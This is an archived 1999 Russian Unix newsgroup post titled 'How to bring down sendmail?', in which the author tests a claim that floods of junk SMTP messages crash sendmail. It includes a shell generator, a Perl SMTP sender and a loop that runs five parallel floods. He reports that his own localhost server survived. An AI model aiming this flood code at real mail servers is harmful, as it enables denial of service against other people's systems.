Ключевые слова:mail, sendmail, script, (найти похожие документы)
_ RU.UNIX (2:5077/15.22) _____________________________________________ RU.UNIX _
From : Vladimir N.Silyaev 2:5020/400 24 May 99 18:07:06
Subj : Как завалить sendmail ?
________________________________________________________________________________
From: "Vladimir N.Silyaev" <vns@maxa01.tm.odessa.ua>
Reply-To: vns@maxa01.tm.odessa.ua
Vladimir A. Butenko wrote:
> Тест простой до жути: открывается пяток каналов, и в них, со скоростью,
> лимитируемой только скоростью сети и томознутостью сендмайла на другом
> конце - несутся сообщения mail from:<>, rcpt to: <postmaster> data: <> -
> 20K грязи.
Я как человек неверующий, решил проверить:
Что для проверки требуется:
1. Программа генерирующая шаблон письма: gen
#!/bin/sh
echo MAIL From: nobody
echo RCPT To: nobody
echo DATA
echo
head -c 16384 /dev/zero | uuencode test
echo
echo .
2. Программа передающая письма на MTA: send.pl
#!/usr/bin/perl
require 'sys/socket.ph';
$sockaddr='S n a4 x8';
($name, $aliases, $type, $len, $hisaddr) =
gethostbyname($ARGV[0]);
$that=pack($sockaddr, &AF_INET, 25, $hisaddr);
socket(S, &PF_INET, &SOCK_STREAM, $proto);
connect(S, $that) || die "connect: $!";
select(S); $| = 1;select(STDOUT);$| = 1;
$n=0;$out='';
while(<STDIN>) {
$out.=$_;
if (/MAIL From:/i || /RCPT To:/i || /^\.$/) {
print S $out;$out='';
$data='';
while (1) {
sysread(S,$part,16384);
$data.=$part;
last if $data=~/250/i;
}
$n++;
print int($n/3),"\t\t\t\r";
}
}
3. A теперь внимание: взлет этого хозяйства:
sh -c 'for i in 1 2 3 4 5; do (while true; do ./gen ;done | ./send.pl
localhost &) ; done'
Чтобы место на диске кончалось не очень быстро, паралельно запускается
такое хозяйство:
sh -c 'while true; do echo -n >/var/mail/nobody;sleep 20;done'
>
> > VAB> FreeBSD ложилась вполне конкретно, то есть система не зависала - но
> > VAB> начинали сыпаться другие процессы по нехватке ресурсов.
> >
> > Каких именно ресурсов? Поясните, что именно не сумел правильно
> > подсчитать и настроить Ваш системный администратор.
>
Как вы уже наверное догадались, ничего не зависло, именно под FreeBSD и
именно sendmail.
Загрузка системы была порядка 3 - 5. Количество копий sendmail ~ 15 -
20. Да, следует отметить, что когда, по причинам не связанным с этим
экспирементом, загрузка поднялась выше, по моему 10,
то sendmail просто прекратил слушать 25 порт, когда нагрузка спала опять
стал слушать.
>
> Ась?! Чего-чего? 1000 в секунду? Да пусть и в NULL? Хрена он "отколотит" -
> можете сами проверить.
Да, конечно, их вовсе не было 1000 в секунду, а где-то наверное до 20-40
писем в секунду.
>
> Сендмайл перестает принимать коннекшны. Это эквивалентно (снаружи)
> зависанию системы. Другие процессы тоже перестают работать.
Как я уже писал, как только нагрузка системы превышает установленную
границу он перестает слушать порт, и это _правильно_. А вот и Вам
вопрос - каково поведение Вашего продукта, Сommunigate Pro, в случае
высокой нагрузки на систему на которой он работает?
С уважением, В.Силяев.
P.S. Скептиков прошу заметить, что скорость, с которой скрипт 'while
true; do ./gen ;done' выдает информацию, составляет примерно 765
Кбайт/cек.
P.S.S. Хочу предупредить, что программа для передачи данных на MTA
'send.pl', не является корректно написанной, и по сути является грязным
хаком.
P.S.S.S. Я конечно, не хочу сказать, что написанное в subj, не реально.
Просто это не так просто, как кому-то хотелось бы. Последняя фраза это
мое личное IMHO.
--- ifmail v.2.14dev3 * Origin: JSC INT (2:5020/400)